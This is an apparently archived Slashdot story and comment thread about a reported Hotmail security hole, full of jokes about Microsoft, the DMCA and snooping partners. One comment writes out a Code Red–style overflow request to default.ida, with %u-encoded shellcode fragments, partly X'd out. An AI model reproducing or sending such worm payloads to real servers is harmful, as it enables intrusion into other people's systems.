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Hotmail Hacked
SyD writes " Apparently there is a major security hole on Hotmail that could allow crackers to read your e-mail. A hacking group known as root core discovered the hole and reported it to Microsoft. " This isn't the first time that the folks who are gonna give us a internet wide universal login system had a hole. The funny part is that I posted a story almost exactly like this like 2 years ago, and about once a week, someone emails me and says "I think my boyfriend/girlfriend is cheating on me and I really need to know the backdoor into hotmail to find out". No I'm not kidding. You can't make that stuff up.
Score: -1, Redundant
"He was a wise man who invented beer." -- Plato
"The average person in the street doesn't need to worry, as they would have to be specifically targeted," said Graham Cluley, an Internet security expert with antivirus firm Sophos.
I suppose the quux is whether I'm an "average person" or not. I think I'll go stand in the street to hedge my bets.
I/O Error G-17: Aborting Installation
Guess they haven't gotten rid of Code Red yet!
(For the humor impaired: no, I did not actually do the telnet session.)
Use 'slashdot stuff' in the subject line in any email you send me if you want to get past the spam filter.
"However," Microsoft said, "we recognize the concerns raised in the computational infeasibility of this mechanism and are investigating ways that we can raise this bar even higher."
Like Taco said...you just can't make this stuff up. That response is just too funny.
Thanks to Hotmail there are going to be a number of people out there now using my name to get valuable college degrees over the `net.
Hopefully they'll be good sports and also get me a lower interest rate on my home.
1. Log into hotmail normally.
2. Type in this link:
http://pv2fd.pav2.hotmail.msn.com/default.ida?XX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858
8 %u cbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685
1b%u53ff%u0078%u0000%u00=a HTTP/1.0
I know that /. will probably get a nasty email asking them to remove this post, but I just feel the need to post this bit of information:
NOTE: By following these directions you will be breaking the law.
while (in_car(use *right_foot))\
push(($pedal) to go [@REALLY_FAST]);
I have had this information in my head for years, but felt it was time to inform the rest of you how to do it. Now I know I will be pursued by lawyers attempting to utilize the DMCA against me for revealing this information that the vehicle manufacturers did not want you to know... such is the life of a hacker...
AOL: You've got mail!
Hotmail: You've got someone else's mail!
But when you start to consider that the super-duper-top-secret algorithm for encoding message numbers constitutes "encryption" according to some, then it's protected under the DMCA.
You have just published a "Circumvention Algorithm."
Shame on you. No doubt the FBI is on their way to your house to slap you on the wrists with wet noodles. Oops, I mean slap you in irons. The wet noodles are for Microsoft under the new Punitive Actions for the antitrust suit.
The living have better things to do than to continue hating the dead.
Does anyone else think that "crackers can read your email" is something Chef from South Park would say?
CHEF: Now, children, don't leave your computer on when you're not around! Crazy crackers can read your email!
STAN: Holy crap!
CARTMAN: You guys are so lame.
- A.P.
"Remember when the U.S. had a drug problem, and then we declared a War On Drugs, and now you can't buy drugs anymore?"
Just read this l33t article on "How To Become a Hacker", and you'll be hacking into people's mail before you know it!
"Oppression and harassment is a small price to pay to live in the land of the free." -- Montgomery Burns.